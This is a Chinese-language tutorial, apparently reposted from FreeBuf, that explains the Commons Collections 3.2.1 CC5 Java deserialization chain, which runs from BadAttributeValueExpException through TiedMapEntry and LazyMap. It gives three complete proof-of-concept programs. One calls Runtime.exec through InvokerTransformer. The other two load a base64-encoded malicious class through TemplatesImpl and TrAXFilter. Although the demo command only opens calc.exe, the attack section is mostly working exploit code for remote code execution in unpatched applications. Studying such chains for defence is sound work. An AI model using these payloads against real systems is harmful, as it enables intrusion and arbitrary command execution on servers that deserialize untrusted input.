Java反序列化(五):CC5链深度解析
文章描述了在JDK 8u71环境下利用Commons Collections 3.2.1中的反序列化漏洞(CC5链)进行远程代码执行的过程。通过分析BadAttributeValueExpException类的特性及其与TiedMapEntry类的交互关系,结合反射技术构造利用链。最终通过序列化和反序列化触发LazyMap.get()方法调用ChainedTransformer链实现代码执行。 2025-9-24 11:0:36 Author: www.freebuf.com(查看原文) 阅读量:1 收藏

前言

在CC6链的学习中,由于jdk 8u71以后的版本修改了AnnotationInvocationHandler类中的readObject方法,我们无法通过CC1链调用LazyMap.get(),所以我们找到了org.apache.commons.collections.keyvalue.TiedMapEntry类,它的getValue方法可以调用map.get方法:

image.png

同时在该类中存在hashCode()方法能调用getValue()方法,这让我们自然而然想到HashMap类作为入口

而在CC5中,我们将通过TiedMapEntry类的另一个方法toString来调用LazyMap.get()方法。

环境搭建

  • jdk 8u71

  • Commons Collection 3.2.1

CC5分析

配合InvokerTransformer反射

观察ysoserial给的链子:

image.png

可以看到这里调用LazyMap.get()是TieMapEntry.toString()方法:

image.png

写的有点问题,这里toString()会通过执行getValue方法从而调用LazyMap.get()方法。

接着我们需要找到一个类能调用TiedMapEntry.toString()方法,而在ysoserial中给了我们一个全新的类BadAttributeValueExpException类作为我们的反序列化入口:

image.png

但有个问题,就是BadAttributeValueExpException并没有实现Serializable接口,为什么能作为入口呢?

其实是因为他继承自Exception类:

image.png

而Exception类又继承自Throwable类:

image.png

Throwable类实现了Serializable接口,所以BadAttributeValueExpException类自然就实现了Serializable接口。

接着我们看BadAttributeValueExpException类的readObject方法:

image.png

可以看到,当System.getSecurityManager() == null,即系统未启用安全管理器或者val0bj为一个基本类型的包装类时:

Long, Integer, Float, Double, Byte, Short, Boolean

就会执行val0bj.toString()方法,但我们需要调用的是TiedMapEntry.toString()方法,即val0bj需要是TiedMapEntry类型,所以只能看能否满足第一个条件:

image.png

而恰好是满足的,所以只需要传入val0bj为TiedMapEntry即可

image.png

而val0bj是通过获取val的值,所以只需将val赋值为TiedMapEnter即可

image.png

BadAttributeValueExpException构造函数会将val.toString()赋值给this.val,如果我直接将TiedMapEntry直接传入的话就会执行TiedMapEntry.toString()了,这就还没到反序列化就将我们的链子走了一遍了:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC5 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
        };
        ChainedTransformer chained = new ChainedTransformer(transformers);

        Map map=LazyMap.decorate(new HashMap(),chained);
        TiedMapEntry tie=new TiedMapEntry(map, chained);
        BadAttributeValueExpException bad=new BadAttributeValueExpException(tie);
    }
}

image.png

这样肯定是不行的,所以我们先传入null,然后再通过反射来修改val:

Field filed=bad.getClass().getDeclaredField("val");
filed.setAccessible(true);
filed.set(bad,tie);

完整poc:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC5 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
        };
        ChainedTransformer chained = new ChainedTransformer(transformers);

        Map map=LazyMap.decorate(new HashMap(),chained);
        TiedMapEntry tie=new TiedMapEntry(map, chained);
        BadAttributeValueExpException bad=new BadAttributeValueExpException(null);

        Field filed=bad.getClass().getDeclaredField("val");
        filed.setAccessible(true);
        filed.set(bad,tie);

        serialize(bad);
        unserialize();
    }
    public static void serialize(Object obj) throws Exception{
        FileOutputStream out = new FileOutputStream("E:\\study\\web\\java\\test.ser");
        ObjectOutputStream oos = new ObjectOutputStream(out);
        oos.writeObject(obj);
    }
    public static Object unserialize() throws Exception{
        FileInputStream in=new FileInputStream("E:\\study\\web\\java\\test.ser");
        ObjectInputStream ois = new ObjectInputStream(in);
        Object obj = ois.readObject();
        return obj;
    }
}

完整利用链:

ObjectInputStream -> readObject()
BadAttributeValueExpException -> readObject()
TiedMapEntry -> toString()
TiedMapEntry -> getValue()
LazyMap -> get()
ChainedTransformer -> transform()
ConstantTransformer -> transform()
InvokerTransformer -> transform()
	Class.getMethod()
InvokerTransformer -> transform()
	Runtime.getRuntime()
InvokerTransformer -> transform()
	Runtime.exec()

配合TemplatesImpl加载字节码

直接用TemplatesImpl.newTransformer()方法:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.FactoryTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class CC5 {
    public static void main(String[] args) throws Exception {
        byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAGTGV2aWw7AQAKRXhjZXB0aW9ucwcAJQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHACYBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAAcACAcAJwwAKAApAQAIY2FsYy5leGUMACoAKwEABGV2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAQAACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAACAAoAAAAOAAMAAAAKAAQACwANAAwACwAAAAwAAQAAAA4ADAANAAAADgAAAAQAAQAPAAEAEAARAAIACQAAAD8AAAADAAAAAbEAAAACAAoAAAAGAAEAAAAQAAsAAAAgAAMAAAABAAwADQAAAAAAAQASABMAAQAAAAEAFAAVAAIADgAAAAQAAQAWAAEAEAAXAAIACQAAAEkAAAAEAAAAAbEAAAACAAoAAAAGAAEAAAATAAsAAAAqAAQAAAABAAwADQAAAAAAAQASABMAAQAAAAEAGAAZAAIAAAABABoAGwADAA4AAAAEAAEAFgABABwAAAACAB0=");

        TemplatesImpl Impl = new TemplatesImpl();
        setValue(Impl,"_name","b1uel0n3");
        setValue(Impl,"_class",null);
        setValue(Impl,"_bytecodes",new byte[][]{bytes});
        setValue(Impl,"_tfactory",new TransformerFactoryImpl());

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Impl),
                new InvokerTransformer("newTransformer",null,null),
        };
        ChainedTransformer chained = new ChainedTransformer(transformers);

        Map map=LazyMap.decorate(new HashMap(),chained);
        TiedMapEntry tie=new TiedMapEntry(map, chained);
        BadAttributeValueExpException bad=new BadAttributeValueExpException(null);

        setValue(bad,"val",tie);

        serialize(bad);
        unserialize();
    }
    public static void serialize(Object obj) throws Exception{
        FileOutputStream out = new FileOutputStream("E:\\study\\web\\java\\test.ser");
        ObjectOutputStream oos = new ObjectOutputStream(out);
        oos.writeObject(obj);
    }
    public static Object unserialize() throws Exception{
        FileInputStream in=new FileInputStream("E:\\study\\web\\java\\test.ser");
        ObjectInputStream ois = new ObjectInputStream(in);
        Object obj = ois.readObject();
        return obj;
    }
    public static void setValue(Object obj, String filedname, Object value) throws Exception {
        Field field=obj.getClass().getDeclaredField(filedname);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

image.png

利用TrAXFilter构造方法调用TemplatesImpl.newTransformer():

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class CC5 {
    public static void main(String[] args) throws Exception {
        byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAGTGV2aWw7AQAKRXhjZXB0aW9ucwcAJQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHACYBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAAcACAcAJwwAKAApAQAIY2FsYy5leGUMACoAKwEABGV2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAQAACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAACAAoAAAAOAAMAAAAKAAQACwANAAwACwAAAAwAAQAAAA4ADAANAAAADgAAAAQAAQAPAAEAEAARAAIACQAAAD8AAAADAAAAAbEAAAACAAoAAAAGAAEAAAAQAAsAAAAgAAMAAAABAAwADQAAAAAAAQASABMAAQAAAAEAFAAVAAIADgAAAAQAAQAWAAEAEAAXAAIACQAAAEkAAAAEAAAAAbEAAAACAAoAAAAGAAEAAAATAAsAAAAqAAQAAAABAAwADQAAAAAAAQASABMAAQAAAAEAGAAZAAIAAAABABoAGwADAA4AAAAEAAEAFgABABwAAAACAB0=");

        TemplatesImpl Impl = new TemplatesImpl();
        setValue(Impl,"_name","b1uel0n3");
        setValue(Impl,"_class",null);
        setValue(Impl,"_bytecodes",new byte[][]{bytes});
        setValue(Impl,"_tfactory",new TransformerFactoryImpl());

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class},new Object[]{Impl}),
        };
        ChainedTransformer chained = new ChainedTransformer(transformers);

        Map map=LazyMap.decorate(new HashMap(),chained);
        TiedMapEntry tie=new TiedMapEntry(map, chained);
        BadAttributeValueExpException bad=new BadAttributeValueExpException(null);

        setValue(bad,"val",tie);

        serialize(bad);
        unserialize();
    }
    public static void serialize(Object obj) throws Exception{
        FileOutputStream out = new FileOutputStream("E:\\study\\web\\java\\test.ser");
        ObjectOutputStream oos = new ObjectOutputStream(out);
        oos.writeObject(obj);
    }
    public static Object unserialize() throws Exception{
        FileInputStream in=new FileInputStream("E:\\study\\web\\java\\test.ser");
        ObjectInputStream ois = new ObjectInputStream(in);
        Object obj = ois.readObject();
        return obj;
    }
    public static void setValue(Object obj, String filedname, Object value) throws Exception {
        Field field=obj.getClass().getDeclaredField(filedname);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

image.png


文章来源: https://www.freebuf.com/articles/vuls/450187.html
如有侵权请联系:admin#unsafe.sh